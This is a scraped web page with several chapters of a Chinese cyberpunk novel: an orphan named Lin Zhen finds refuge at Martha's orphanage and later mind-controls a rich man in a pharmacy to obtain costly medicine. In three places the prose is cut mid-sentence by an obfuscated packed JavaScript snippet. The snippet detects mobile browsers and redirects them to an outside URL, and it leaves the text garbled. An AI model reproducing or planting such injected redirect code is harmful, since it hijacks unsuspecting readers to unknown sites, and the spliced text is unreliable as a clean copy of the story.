她一直往上,像飞天奔向月亮。黑色的世界似乎无穷无尽,但越往上,黑色越稀薄。她感受到越来越大的阻力,就像一艘飞船,努力挣脱地球的引力。而那引力,来自下方女孩的身体。到了最后,她几乎是一毫米一毫米地向上爬,意识被黑色丝线死死缠住,拉扯到发痛。 她被网住了,心里忽然闪过一个念头:再往上,也许就是死。 她和黑色的网僵持着,直到最后一根丝线断裂,她猛然跌落回身体里。 许久之后,她的视线才重新聚焦。 镜子里映照出她的脸。 “林真。”她轻轻开口,“我叫林真。” 话音未落,她已经泪流满面。 她用力捶打着地面,可眼泪根本止不住。她只能发狠地咬住左手拇指的根部,试图把身体的颤抖和泪水一起压下去。 模糊的视线里,镜子底下,她看到了一个方形的盒子,和打火机差不多大。 她伸手捡起来。那是个硬塑料盒子,底下刻着一朵樱花。她似乎是吃完了里面的东西,可她完全想不起来,这里面是什么,又有什么作用。 她把盒子放到一边,胡乱擦了把脸,起身从烘干机里拿出刚烘完的衣服,走进浴室。 水表上的读数一格格往上跳动。冷水让她的脸降温,也让眼泪止住了。 就算回不去了,也得活下去。 她关掉水,水表“叮”地一声,干脆利落地扣走了她二十个信用点。她仿佛听到现实在她耳边啐了一口:有钱吗?你就想活下去。 付完火葬场那笔昂贵的丧葬费后,她的账户里只剩下不到三百点。更糟糕的是,她不可能用林雪的芯片去更新户主信息,这套公寓很快就会被收回。 好消息是,她已经十八岁了,可以去大脑农场打工了。坏消息是,她根本没有合法身份,这该死的地方也不让打黑工。 这冰冷的现实啊。 林真把湿漉漉的头发捋成一束,用力拧干,然后换上墨绿色的工装裤和黑色的长袖连帽衫。也许是被黑街影响了,她完全没有碰原本喜欢的浅色衣物。 她从床底的收纳箱里翻出一只黑色的背包,拍了拍,抖掉上面的灰。先装进几件换洗衣物,又把剩下的营养剂和水塞在衣物中间。 她想了想,又抱起床头的小熊玩偶,把后颈处的记忆芯片取出来,也放进了包里。没有了墙上的合照,这间公寓似乎一下子失去了最后一点人气和温度。最后,她把黑客眼镜和空了的小药盒一起,塞进背包的最底部。 月亮已经爬上中天。 她背着包,悄无声息地下楼,沿着来时的路返回。 “那边那个,戴兜帽的,停下!” 突然,身后传来一声厉喝,一个管理人员拿着强光手电筒出现。 林真的心跳几乎停止,她伸出手,抓住帽檐。 “我住在这里的,D区23栋1344。” “听不懂人话啊,别磨磨唧唧的。今天混进来好几个家伙,我看你就很可疑,快点!帽子摘下来,查芯片。” 林真深吸一口气,慢慢摘下帽子。 管理人员举起了手里的仪器。 ESC—— 林真正要入侵对方的脑子,却听到一个人喊她的名字。 “林真!你怎么在这里?” 管理人员和林真一起扭头看去。 路灯下,一个穿着黑色修女长裙的女人跑过来,一把抓住林真的肩膀。 “玛莎妈妈。”林真下意识开口。 “玛莎女士。”管理人员也问好。 玛莎揽住林真的肩膀。她有高加索血统,个子高壮,像一块门板,比管理人员还高一个头。 “她就住这儿,叫林真。” “玛莎女士,我就是看她大半夜在外头走,您知道的……” 玛莎放开林真,靠近管理人员,压低了声音说:“她姐姐刚走,体谅一下。” 她按了按管理人员的手腕。三十个信用点悄无声息地转账。“你们也辛苦了,这大晚上的,不容易, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904329|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去买点宵夜买点烟。” 管理人员“哎”了两声,看向林真:“那她和你回收养院吗?快成年了吧,可以上班了。” 玛莎轻轻拍了拍林真的肩膀:“看她自己吧。我肯定不让她半夜在外头,今天给你们添麻烦了。” “没事儿,没事儿。” 管理人员晃着手电筒离开了。 玛莎揽住林真的肩膀,“你要是一个人害怕,跟我回收养院住两天也行。” 这时,旁边的树丛里突然一阵轻响。那个偷渡的中年男人抱着受伤的手臂,狼狈地爬出来。 玛莎把林真护在身后,开口道:“里德。” 中年男人里德似乎没有听见,站起身,一瘸一拐地就要往居民楼走。他的手里紧紧抓着一块尖锐的石块。 “你要做什么去,里德!” “去杀了,去杀了……杀了那个白眼狼。”里德猛然转身,恶狠狠地咕哝着,他似乎神智不清,盯着林真:“是你吗?是你把他藏起来了吗?” 玛莎抬起手,蒲扇大小的巴掌扇在男人脸上,把他直接打趴在了地上。 里德似乎清醒了一些:“老子养他到十八岁,供他吃,供他穿。老子现在不行了,该他养我了,他凭什么一脚把我踢开?” 五区的很多人不会有自己的孩子,养孩子太贵了,生孩子太消耗身体了,更何况还有那天文数字的医疗账单。取而代之的,就是“收养日”制度。 每个季度,一辆老旧的绿皮火车会从二区开始,经过三区、四区,带着被淘汰下来的孩子,最后来到五区,那一天,就是“收养日”。五区的人会挑选还可以的孩子,作为“家庭成员”。等他们的大脑在三十多岁衰老了,干不动农场的活了,收养的孩子也成年了。那个时候,孩子将回报他们。 这就是五区的家庭。 而没有人要的孩子们,就会去收养院。玛莎是收养院的院长。在林真的记忆里,林雪每个月总要花几天要去收养院帮忙,而过去的她从来没有去过。 里德坐在地上,眼神迅速混沌下去:“玛莎,我要死了……我要死了……我不想死啊,玛莎……” 玛莎从怀里掏出一支营养剂,塞进他的手里,“死亡只是另一个开始,里德。主看到了你的苦,主会保佑你的。” 她弯下腰,伸手碰了碰男人的额头,然后拉起林真的手。 林真跟着走了两步,回头看见那个男人还跪在原地。 “等我一下。”她突然开口。 她跑到里德的身旁,放下一瓶水一支营养剂:“D区23栋1344,我没有锁门,你可以去住几天。” 她们的身后,传来男人压抑的哭声。他也许会去林真说的公寓,收拾自己,吃完最后一顿饭,然后静静等待死亡的来临。 如果无法有尊严的活着,至少可以有尊严的死亡。 林真没有再看里德一眼。 她不能救所有人。 但她必须活下去。 围墙的另一边,诺曼看着终端上越来越远的红点,轻轻笑了一声。 他的身旁,莫恕骑在摩托车上,叼着一根糖棒,伸长脖子看了一眼:“人跑了吧?我就说嘛,人家是高等级大脑骇客,又不傻,凭啥帮你做事?图你不露脸啊?” 话音刚落,诺曼伸手一把将他从摩托车上扯了下来。 “操!你干嘛!”莫恕趴在地上骂。 诺曼翻身跨上摩托,低头一把拧开油门,右脚重重地踩下启动杆。 “离五月还有很长一段时间,她迟早会回来的。”他笃定道。 下一秒,引擎一声炸响,摩托车轰鸣着冲进了夜色深处。 莫恕望着远去的尾灯,揉着屁股,从地上捡起断成两截的糖棒,在衣服上擦了擦又塞进嘴里,一边骂骂咧咧:“神经病啊……老子糖都没吃完。” 9. 居民区(三) 收养院在居民区的最边缘,原本是一座废弃的电子设备组装厂。大门是滑轮铁门,锈蚀得厉害,一拉就掉屑。一盏老式工业灯挂在门上,在夜风里颤巍巍地亮着。灯罩下挂着一串风铃,金属星星、塑料花朵、还有一些乱七八糟的破洞烂铁,七拼八凑出老长的一串。 玛莎拨开风铃,掏出一把硕大的金属钥匙,插进锁孔里。 “咔哒——嘎吱——” 铁门带着刺耳的摩擦声缓缓滑开。 风铃被震得叮当乱响。 屋里立刻响起一片尖叫声,“玛莎妈妈回来了!玛莎妈妈!妈妈妈妈!” 一群小孩子冲出来,七嘴八舌、东倒西歪,把玛莎围了个水泄不通,有的挂在她腰上,有的拽她袖子,还有的钻她胳膊底下。他们浅色的睡衣像一团云,一下子就把玛莎淹没了。 这突如其来的热闹让林真一愣。 她下意识关上门,将夜风挡在外头。 眼前是一个巨大但空荡的厂房,大约有三百平,摆着一些桌椅板凳,大多歪歪扭扭,边角磨损。厂房顶上,裸露的钢架支撑着顶棚,好些地方已经破损了,用深色的帆布和防水布层层叠叠地补住。 厂房最里头隔出几个房间,用塑料板和帘子做了简单的分割。 就在这时,一个提着短裤的小男孩从中间的房间里冲了出来。 “玛——莎——妈——妈——!” 他大喊着,迈着脚就要扑过来,结果一脚踩在短裤上,噗通一声摔了个结实,露出黑乎乎的屁股蛋。 周围的小孩子们集体发出了“嘘”声。 “耗子,你还没擦洗干净呢,给我回来!”房间里,走出来一个拿着毛巾的年轻姑娘。她穿着旧运动衫和拖鞋,头发在头顶扎成一个丸子。 玛莎把耗子扶起来,帮他拉上短裤,向那个姑娘招手:“安恬,过来,毛巾给我。” “妈妈,您辛苦了。”安恬走过来,乖乖递上毛巾,小声问候道。 “哎,没事儿。”玛莎接过毛巾,顺手把安恬脸颊旁的碎发捋到耳后,叮嘱道:“去换件干衣服。对了,这是林真,帮她在你旁边铺个床。你们两个要好好相处,听见没?” 玛莎说完,裙子上挂着一群小鸭子似的孩子,浩浩荡荡地往里间去了。 林真露出一个友好的笑容,对安恬伸出手:“你好,我是——” 安恬没给她说完的机会,伸手“啪”地压在林真的手上,掌心向上:“过夜费。” “安恬!”里头传来玛莎不赞同的声音。 安恬撇了撇嘴,慢吞吞收回手,低声嘟囔:“就问一问嘛……你要洗澡吗?” “洗过了。”林真顺势点头,“饭也吃了。” 安恬这才露出一点笑意。她有一双细长的丹凤眼,眼神警惕凌厉,此刻才稍微松动了一点。 里头最左侧的房间被改成了大通铺。花花绿绿的小被子和小毯子整齐地排成两排,中间留出一条歪歪扭扭的走道,像一座用布织成的小城市。 最外面靠门的一侧放着一床大人的棉被。安恬把那床被子往里挪了挪,从旁边的收纳柜里抽出一床毯子,拍了两下,往大通铺上一放。 “你睡最外面。”她说。 林真没有异议。 “那玛莎妈妈睡哪?”她好奇地问。 “妈妈睡另一边,她早上出门早。” 安恬一边说着,一边脱下身上湿了大半的运动衫,扔到一旁,只穿着胸衣,弯腰在柜子里找干净衣服。 林真不自在地别开脸,盯着墙角。那里贴着一张褪色的儿童画,十二个小火柴人围着一高一矮两个大人,一个大人穿着黑色长裙,一个大人扎着丸子头,右上角歪歪扭扭地写着“火星幼儿园”。 也许是因为林真既不要洗澡、也不要晚饭,安恬勉强把她当成一个“不费钱能处”的临时室友。她慷慨地从小罐子里抠出一点牙粉:“干嚼就行,能吃,但是不顶饿,所以别偷吃。还有别碰旁边那个装土的碗,那是耗子的,他在孵小蜘蛛。” 林真捧着掌心里白中带灰的牙粉,看了眼墙角那个碗,默默决定晚上一定要用脚对着那群随时可能孵出来的蜘蛛。 她道了一声谢,把牙粉倒进嘴里。牙粉咯吱咯吱地响着,带着薄荷的味道,呛得她鼻子发酸。 林真忍不住打了个喷嚏。 安恬捂着嘴笑,牙粉也从她鼻子里喷了出来。喷嚏声在屋子里连成一串。 门帘被掀开,擦洗干净的小孩子们鱼贯而入,踢掉鞋子,光着脚丫“踏踏踏踏”地在大通铺上乱跑。 安恬立马抹了一把脸,严肃起表情:“都不要乱跑!我数到十,找到自己的被窝!数到十还没有进被窝的,会被黑街的坏人抓走!一,二,三……” 小孩子们“吱哇”乱叫着,“咯咯”笑着,一头扎进各自的位子。有人把被子盖到眼睛上,有人只露出脚丫。 “……九,十。”安恬从中间走过去,把摊开的被角一个个塞好。 “很好,今天也没有人被黑街抓走。” 孩子们小声地笑起来。 小孩子们入睡总是很快,他们没有烦恼,也没有心事。大通铺在几分钟内就安静下来。 林真仰面躺着,听着小孩子微弱的呓语声。她能闻到孩子们身上的肥皂香和牙粉的薄荷味。毛毯带着陈旧的味道,但是足够暖和。她翻了个身,双臂抱紧自己,闭上眼睛。 才过去了两天,却像是两周那么漫长。脑海里的记忆像转经筒,一圈一圈晃动,最后停留在诺曼的脸上。 那是诺曼靠在居民区的墙上的时候,他散开的发丝末端都带着细小的蓝色电弧。他的眼神里,似乎一瞬间闪过了痛苦。 居民区的墙壁是不能触碰的。林真还是个孩子的时候,追着一只瓢虫不小心碰到了墙壁。电流一下子窜过她的脑子。她当场跪倒在地上,吐得天昏地暗。她烧了一天一夜。林雪挨家挨户敲门,才求来一颗退烧药。 林真攥紧拳头,睁开眼睛。 诺曼……还等在墙的那一边吗? 但是诺曼,不要相信黑街的任何人,这是你教我的。 她又翻了一个身,正对上安恬警惕的眼神。安恬眯着眼看她,像一只守着领地的猫,观察着这只新来的外来者。 两人隔着一条被子的距离,沉默地对视。 “闭眼。”安恬压低了声音,“不然你被黑街抓走。” 骗小孩子呢,林真弯了弯嘴角。但她还是闭上眼,表示自己是一只安分守己的好猫咪。 屋顶的帆布被风拂动,发出“呼——呼——”的轻响,外头传来玛莎轻轻的脚步声和低沉的祷告声。 林真的呼吸慢慢变浅,身体逐渐松弛,睡意悄悄爬上来。 在这个混乱、血腥、让人难以喘息的世界里,她第一次放松地睡着了。 这一觉睡得不长。 林真醒来的时候,以为自己的脚被冻掉了。袜子硬邦邦地裹在脚上,像一团裹尸布。她拉了拉毯子,毯子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904330|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纹丝不动,反倒是旁边传来一声含糊的咕哝。 回头一看,是安恬压着她一半的毯子,手里还死死攥着一角。 睡觉的时候,她的脸看起来的确安恬。 林真哑然失笑,轻手轻脚掀开毛毯。 一回头,安恬也睁开了眼睛。 “我吵醒你了?”林真放轻声音问。 安恬盯着她看了两秒,没吭声,试图用眼神向她飞刀子。 玛莎出现在门口,冲她们招了招手。她红棕色的头发还没盘成发髻,现在披散在胸前,露出里头夹杂的大量白色发丝。 安恬轻手轻脚地下了地,拎起自己的鞋子。 林真看见她的动作,也脱下穿了一半的鞋子。水泥地冰凉,瞬间消除了她所有的睡意。 “穿鞋,冻坏了怎么成。”玛莎轻声嗔道。 她们在小桌前坐下,玛莎和安恬双手合十,低声念道:“仁慈的天父,感谢您今晨仍赐我们食物与屋顶,阿门。” 林真静静等待着,目光落在玛莎胸前那枚晃动的银色十字架上。 祷告结束后,玛莎将一管营养液倒进两个小碟子,递给安恬和林真,自己则用力挤压包装袋,喝掉底部剩下的残余。 安恬的脸色顿时变了。她狠狠瞪了林真一眼,把自己的碟子往玛莎面前一推:“您吃。” “安恬。”玛莎摇头,“你昨天是不是又只吃了一顿?” “那您就吃了吗?”安恬反问,“您每天在农场干十二个小时,现在连早饭都不吃了?” 玛莎没跟她争,转头看向林真,“我昨晚本来要带一支营养剂回来的,但是昨天太饿了,所以我把它用掉了。林真可以作证,对不对?” ——没有,你把营养剂给了里德。 可林真还是点点头,“嗯,您带了一支营养剂。” “包装呢?”安恬狐疑地看着她俩。 “扔掉啦。”玛莎笑着把碟子推回安恬面前,“你这孩子真是,管天管地。我现在吃了也是浪费。吃吧。” 碟子磕在桌面上不平的地方,漾出一点营养液。安恬“哎呦”了一声,用手指小心地抹了,送进嘴里。 林真捧着小碟子,几乎送到了嘴边,犹豫了一下,还是放下了:“我有营养剂。” 她从包里翻出两只粉色的营养剂,并排放在桌上,“就当是住宿费了。” 安恬“唰”地伸出手,抓住营养剂。 玛莎“啪”地一声打在她手上。 “我收你一支,给孩子们解解馋。”她把碟子依旧推回给林真:“喝了,不然白天撑不住。” “我住在这里,有什么我可以做的吗?”林真问道。 “有呀。”玛莎温柔地笑着,“你白天帮我看着孩子们。” “那是我的活——”安恬插嘴。 “安恬,你不是一直想去农场吗?今天和我一起去吧。” “我可以吗?”安恬激动地站起来。 她的动静有些大,里间传来“窸窸窣窣”的声音。耗子第一个从门里探出脑袋,紧跟着是两个、三个、一串小脑袋叠在门边。 玛莎看向林真,“林真,家里就拜托你了。” 林真郑重点头。 “听林真姐姐的话。”玛莎扬声道。 “不听话的我回来打屁股。”安恬眉毛一竖,“都听到了没有?现在回去睡觉。地上凉不知道啊?” 她显然很有威严,小孩子们“嗯嗯啊啊”的,乖乖地缩回去了。 10. 居民区(四) 一个小孩子的威力,是一只毛茸茸的小鸭子,叨人也不疼。 一打小孩子的威力,是一群尖叫鸡。 林真站在大通铺旁,手里抓着毛巾,看着炕上群魔乱舞,反思事情是怎么变成现在这样的。 安恬离开前,把她领到墙角的柜子旁,打开最上层指给她看: “营养液在这里。一管大概二十勺。你按个子分,最矮的五勺,高一拳头加一勺。最大的那两个,桃子、铁棍,一顿给半管就行。” “吃不饱怎么办?” “小孩子喂得太饱也不好,”安恬语重心长,“容易生病。” ……这是什么歪理?林真无奈,接着问:“怎么没有更大一些的?” “大一些的能做事,早就被人捡走领走了。” 林真想问:那你呢?你看起来十八九了。 但话还没出口,安恬已经冲她挥了挥手,往外头走去。 “等一下,安恬,他们都叫什么?有没有名单?” 安恬回头冲她眨了下眼,“只要你手里有吃的,你叫’臭袜子、小跳蚤、小乞丐’,他们都应你。” 林真把毛巾放回脸盆里,喊道:“耗子!” 耗子和几个年纪小的孩子正在满床铺疯跑,硬生生把其他孩子堵在原地。 “我不洗脸!”耗子扯着嗓子喊。 “不洗脸不给饭吃。” “不吃就不吃!” 旁边的小男孩立刻拉了拉林真的衣袖:“姐姐,你把耗子那份给我吃吧,我洗脸。” “塞克!”耗子一声大叫,飞扑过来,两人顿时滚作一团。 林真一手一个,揪住他们的衣领。 耗子往下一缩,直接从衣服里滑了出去。他瘦得可以看见纤细的肋骨。 林真拉住耗子的胳膊,手下都不敢用力,“今天有草莓味的营养液,表现最好的才能吃。” 草莓味营养液的威力是巨大的。 耗子和塞克立刻不打架了,一边一个地站好,任由林真给他们擦了脸,互相监督着嚼了二十下牙粉。 两个最大的孩子落在最后,收拾完床铺,主动接过毛巾。桃子乖巧地笑着,甜甜地说了一声“谢谢姐姐”。 铁棍既想要奖励,又不想学人说话,低着头不敢看林真,嗫嚅着说了一句“谢谢”,就和火烧屁股一样蹿出门去。 等林真放好毛巾和脸盆再走出来,就看到一打孩子在圆桌边坐成一圈,二十四只亮晶晶的眼睛一齐看向她。 塞克踢了耗子一脚:“表现最好的才有,你肯定没有!” 耗子没还嘴,双手乖乖放在桌上,死死地盯着林真看,眼睛一眨不眨。 最小的吃五勺,最大的吃十勺。林真在脑子里疯狂计算,总共要八十四勺,差不多四管营养液!一天两顿,光吃个半饱就要烧掉二十四信用点! 可就算把她自己的那支算上,也就两支草莓味的营养液。 桃子似乎看出了点什么,低下了头。 林真深吸一口气。 这事儿整的——你是要委屈大孩子,还是委屈小孩子?她现在出门买,还来得及吗? “都坐好,别动啊。”她说完走进里间,从柜子里拿了两支原味,一支草莓味,又从包里拿出自己的一支。她数了十二个小碟子装进大碗里,一只手捧着营养液,一只手端着碗走出来。 小眼睛们已经被吸在粉色的营养液上了。耗子和塞克用胳膊肘悄悄打架。 林真把营养液打开,一支接着一支倒进碗里,用勺子混合均匀。 “今天早上大家表现都很好。”她一边搅拌,目光一一掠过圆桌上的小脸,“所以,每个人都能吃到草莓味的。现在,从矮到高排好,过来领碟子。” 桃子站在队伍的最后面。林真给她舀了十勺浅粉色的营养液,看着碗里还剩一点,想了想,把碗倾斜过来,用勺子刮出最后一点,添进桃子的碟子里。 “姐姐偏心!”耗子眼尖,第一个嚷起来。 啊,这皮小子!林真磨了磨牙。 “桃子等会儿要帮我洗碗,对不对,桃子?” 女孩看着她的脸色,小心翼翼地点了点头。 “我也能洗碗!”耗子不甘心地嚷。 “你不可以……”林真眼珠一转,“你今天要学唱儿歌。” “为什么?” “因为……如果你不会唱儿歌,就会被黑街抓去。” 林真给自己说笑了。她脑子里冒出来的第一首,就是《我在马路边捡到一分钱》。 她用管理叔叔替代了警察叔叔。 “管理叔叔拿到钱,会把你打一顿,真的!”耗子边唱边扭头和塞克说小话,“他就是那么打我的!哐哐哐哐!他还会问你要更多的钱——” “耗子——”林真太阳穴直跳:“那你想做什么?” “等我十八岁了,我就炸了大脑农场!”耗子骄傲地宣布。 林真被他吵得脑仁疼,当即甩出了改编后的《上学歌》。 “背着炸药包炸大脑农场”成为整场儿歌练习的最大亮点,连一旁做手工的大孩子也跟着哼。可见不管在哪儿,小孩都是唯恐天下不乱的。 当安恬和玛莎回来的时候,就听到屋子里东一句西一句,唱的是: ——太阳当空照花儿对我笑 ——小鸟说早早早 ——你为什么背上炸药包 ——我要上农场天天不迟到 ——爱学习爱劳动 ——长大要为人民炸农场 安恬当即一把抓起唱得最欢的耗子,就着屁股“啪啪”两下。玛莎看着林真,露出一个无奈又欣慰的表情。 当晚,她拉着林真在小祷告室里坐下。 祷告室的墙上挂着一副褪色的老挂毯。挂毯上方织着“神爱世人”四个字,下面是一位女性怀抱婴儿的图案。线头已经磨断了好几处,露出后头深灰色的墙壁。 两支电子烛台投下昏黄的光。 玛莎的声音很轻: “耗子他啊,本来是有家的。他妈生他落下病根,他爸为了挣钱治病,整天在农场干活……没两年,就把自己累死了。这孩子就在居民区里流浪,东偷一点,西摸一点。这样的孩子很多,一般没两天就会被抓到,然后扔出去。但他跑得快,人也机灵,就这么躲了快一个月,才被管理抓住了。我付了点钱,把他要了回来。” 林真安静地听着。 玛莎看着挂毯中那对母子,叹了一口气。 “五区的人,只能去大脑农场打工,不然就只能去黑街卖命。耗子不能成为黑街的亡命徒,他不能一直恨大脑农场。” 林真垂下眸子,低声问道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15904331|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可把人活活累死,这就对吗?为什么没有社会保障,为什么联邦什么都不做?” 玛莎摇了摇头,她刚要开口,突然咳嗽起来。她咳得弯下了腰,右手撑住额头,左手捂着嘴。 林真吓得一下子站起来。她刚要喊人,就看见安恬跑进来。 安恬一看到玛莎那咳得缩起来的背影,脸色瞬间就变了,赶紧拉开柜子翻出止痛药。 可玛莎推开了止痛药:“我没事……不要浪费药。” 她靠着椅背缓缓坐直,脸色苍白,呼吸发紧,“去看着孩子们……别让他们……闹翻天,听话。” 安恬狠狠跺了一下脚,跑出去了。 林真在玛莎旁边坐下,轻声说,“我姐姐说,一般一天只能在农场工作六个小时,不然脑子会受不住。可我看您每天去农场,都做十二个小时。” 玛莎转头看她,露出一个微笑,双手缓缓合十,抵在额前:“我没事。主保佑着我呢。祂说我可以的。” 电子烛台的光落在她关节粗大的手上。 挂毯上,圣母低头看着怀里的婴儿,脸上是一种远离尘世的温柔。 “您需要休息。”林真坚持道。 “再过一段时间,等不下雨了,我休息半天,带你们出去玩。” 可玛莎终究没有等到雨季结束。 她的情况越来越坏了。 有一天夜里,林真半夜起来,正撞见她蹲在祷告室的角落,一把一把地往嘴里塞止痛药。 药瓶咣当掉在地上,滚了一圈,停在林真脚边。 玛莎抬起头,没有辩解什么。 从那天起,她开始头痛到下不了床。林真经过她的房间门口时,总能听到里头压抑的粗重呼吸声。 孩子们渐渐察觉了。 耗子不再吵闹,桃子默默承担起家务,洗碗、叠毯子、管牙粉。 一天早上,安恬把林真拉到一旁,严肃地说:“我需要五千点信用点。” 林真一愣,“你要干什么?” “我打听过了,生科出品的大脑稳定液,一针五千点,能救妈妈。” “我手上还有两百多点。” “不够。”安恬摇头,眼圈发红,“我一天能赚五十,还得三个月。” “那不止——”林真皱眉,“孩子们还要吃饭……” “吃吃吃!你们就知道吃!”安恬猛地吼了出来,一把揪住从旁边疯跑过的耗子,啪地打了一巴掌。 耗子吓得愣在原地,手里的碗摔在地上,刚孵化的小蜘蛛撒了一地,满地乱爬。 安恬发起狠来,一脚一个,通通踩碎。 “安恬!”林真立刻拉住她,“你冷静点,我们一起想办法。” “没有办法!这操蛋的联邦就是不给人活路!” 安恬甩开她的手,怒气冲冲地去农场了。 里间,玛莎发出微弱的呼唤:“……安恬……” 林真走进去,“她去农场了。” 玛莎没有回应。她睁着眼,眼神却失去了焦距。她躺着,胸口却几乎看不到起伏。 林真赶紧跪在床边,手指探向玛莎的鼻尖。玛莎的呼吸细若游丝,呼出来的气甚至带着隐隐的血腥味。 林真在房间里跺了两步,握紧了拳头。 她要拿到药。 她或许有办法。 11. 药店(一) 大脑农场是一座巨大的半球形建筑。远远望去,像一盏倒扣的白瓷碗,罩在五区的最北边。 无数粗大的金属缆线从碗底伸出,缠绕在一起,沿着金属支架往上头的几个区去。 建筑四周环绕着一道道拱门入口,通向农场、移民中心,以及五区唯一的正规药店。 林真走进药店。 药店分为左右两边。 右边的光幕上,是生物科技的商标,一个站立的白色人形,底下陈列着各种机械和仿生义体,从多点驱动的装甲手臂,到线条姣美的人造五官。 左侧挂着中枢科技的商标,被金色群星环绕的深蓝色DNA双螺旋。商标底下是一排排玻璃柜,里头摆放着各种各样的药品。 林真走到中枢的柜台前。 店员抬头瞥了她一眼。他的右眼是一个机械镜头,可以放大、缩小、录像,绝不放过任何一点细节。 他扫了眼林真身上那件洗得发白的外套,鼻子里轻轻一哼,没说话,低下头继续拨弄桌上的小仪器。 林真站了两秒,还是开口:“不好意思,打扰一下。” 店员没抬头:“说话就说话,嚷嚷什么?” “我要买药。请问有没有能缓解头疼的药品?” 店员慢吞吞抬眼,嘴角一撇:“止痛药?出门左拐,自动贩卖机。别堵着柜台。” “止痛药没有用,有没有好一点的?我有两百多……” “哈——两百多?” 店员像听到了什么天大的笑话,哧地笑了声。他用手指点了点柜台:“这儿是中枢药业,我们这儿呢,柜子是拿来放药的,不是用来装你们这些穷鬼的春秋大梦的。两百多?要不你买个梦境芯片回去,梦里想吃多少有多少。” 林真攥紧手指:“我只问有没有药。” “没有。”店员翻了个白眼,“真是烦死了。天天有人进来说什么‘能不能便宜点、可怜可怜我’……我是中枢老总吗?要我是中枢老总,我一颗药都不卖给你们这帮穷鬼,省得污染品牌。去去去,没钱出去!” 他骂骂咧咧地摆了摆手,转头看见门口有个脏兮兮的小孩正探头往里瞧,脸一沉,起身去赶人。 对面,生科的店员冲林真招了招手,“小姑娘,家里大人脑子不行了啊?” 林真点点头。 “那也是没法子的事,回去吧。那家伙的心,比我们家的陶瓷装甲还硬呢。” 他话音未落,外头广场的人群忽然传来一阵惊叫。 一辆银蓝色的跑车咆哮着,带着一股子要把人碾过去的狠劲,直冲药店门口而来。 中枢的店员猛地回头,脸色一变,手一甩,就把刚逮住的小孩推了出去。小孩一下子摔在车头前。 林真的耳边“嗡”了一声。她冲上去,一把撞开店员,抓住那小孩的胳膊,连拉带拽地拖到墙边。 下一秒,银蓝色跑车擦着她的脚边飞掠过去,“嘎吱”一声停在药店门口,车头几乎顶到门槛。 驾驶座上,车主顶着一头银毛,探出头来,“碰瓷啊?没死就滚远点。” 林真怀里的小孩跳起来,一脚踹在车门上。 林真心头一紧,赶忙把他拉回来,压低声音:“别动——” 可车门“咔嗒”一声向上弹开,一只银色的靴子探出来,带着狠劲朝小孩的肚子踹过去。 林真下意识伸出手,护在小孩前面,硬生生替他挡下这一脚。 银发的男人收回脚,冷哼一声,搂住女伴,晃晃悠悠地迈进店里。 女伴回头看了林真一眼,像躲脏东西一样用手背挡住鼻子,贴在银发男怀里:“讨厌啦,吓死人家了……” “哦吼,吓死宝宝啦。”银发男轻轻拍了拍她的手臂,“那今天宝宝想买什么都可以。” 中枢的店员早已换了副笑脸:“晏少,您今儿真是英姿飒爽!您这边请,我刚刚才清了柜面,您看着顺眼不?您今天要看点什么?” 女伴娇声道:“人家要最新的美容针嘛。” 银发男刮了一下她的鼻尖,“只要这个?” “嗯呐。” 银发男冲店员抬了抬下巴,“听见了吧,’仲夏夜之梦’全套美容针。对了,最新的梦境芯片到了没有?” “到了到了,”店员殷勤地打开玻璃柜,“三区当下最流行的,您慢慢挑。” “挑什么挑?都打包了。快乐水呢?” “也有也有。带那个效果的也有。” 女伴嗔了一声,轻轻捶了下银发男的胸口:“你坏死了……” 银发男大笑起来,“我都包了。” 林真站在门口,没有离开。 好在她并不是唯一一个围观的路人,混在人群里也不显眼。 银发男点菜一样点着价格昂贵的药品,扫了一眼外面的人群,朝店员笑道,“我爸说了,做人不能太高调。可你看,我都低调成这样了,还是有人嫉妒。” 店员点头哈腰:“您说的是,您还要看点啥?” 林真眯起眼睛。 ESCAPE。 银发男的脑子是青蓝色,已经是五区的佼佼者了。 下一秒,林真操控着银发男开口:“大脑稳定液。” “您要大脑稳定液?”店员手里的动作一顿。 银发男愣了一下,抓了抓自己的头发。 他为啥说大脑稳定液?怎么感觉这个词突然自己跑出来了?他今早也没嗑不该磕的东西啊?等下,他是不是磕了,然后给忘了? “那可要五千信用点呢?”店员再次确认道。 银发男瞬间不纠结了,一头银毛都炸了起来,“怎么着?觉得我买不起啊?你知不知道我爸是谁?什么个东西要五千信用点,我怎么没用过?拿出来!拿两瓶!” 店员连连点头,转身打开了最里面的柜子,双手捧着两支拇指大小的针剂出来。颤颤巍巍的,好像捧的是他自个儿的脑子。 针剂泛着迷蒙的浅蓝色光芒,像是海面上的月光。 林真屏住了呼吸。 银发男抓起一个,在手里抛了一下。 